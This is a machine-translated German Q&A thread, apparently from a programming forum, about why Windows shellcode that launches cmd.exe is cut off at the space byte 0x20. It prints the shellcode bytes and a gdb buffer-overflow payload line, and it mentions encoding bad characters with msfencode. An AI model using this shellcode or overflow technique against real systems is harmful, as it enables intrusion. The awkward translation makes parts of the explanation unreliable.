Shellcode wird abgeschnitten durch \ x20
Frage
Warum ist mein Shellcode wird nach \x20
Opcode abgeschnitten, wenn es von String-Stack auf einem zweiten verwundbar Programm kopiert wird?
--cmd.exe-- char shell[]= "\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space "\xc7\x44\x24\x08\x63\x6d\x64\x2e" "\x31\xc0" "\x89\x44\x24\x04" "\x8d\x44\x24\x08" "\x89\x04\x24" "\x8d\x05\xad\x23\x86\x7c" "\xff\xd0"; --end shell--
Lösung
Gibst du diesen Shellcode als Befehlszeilenargument? In diesem Fall nehmen Sie einen Blick auf den ASCII-Code für 0x20;)
Andere Tipps
Meine Theorie ist, dass Dinge wie Zitat, Raum, null, etc. werden durch die Fenster eher shell als durch interpretiert wird gesendet. Man könnte es irgendwie zu entkommen, aber ich denke, es ist einfacher, nur den Shellcode zu codieren. So versuchen Metasploit des msfencode Dienstprogramm diese Opcodes ganz zu vermeiden. Ich weiß, null (/ x00), Raum (/ x20) und Zitat (/ x22) nicht direkt übergeben werden, aber ich nehme an, dass es andere Opcodes, die nicht so gut geführt werden können.
Das ist meine Lösung, aber weiß jemand, von irgendwelchen anderen diejenigen, die besser sind?
Legen Sie einen Doppelnotierungen um den gesamten Befehl. Führen Sie beispielsweise:
"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"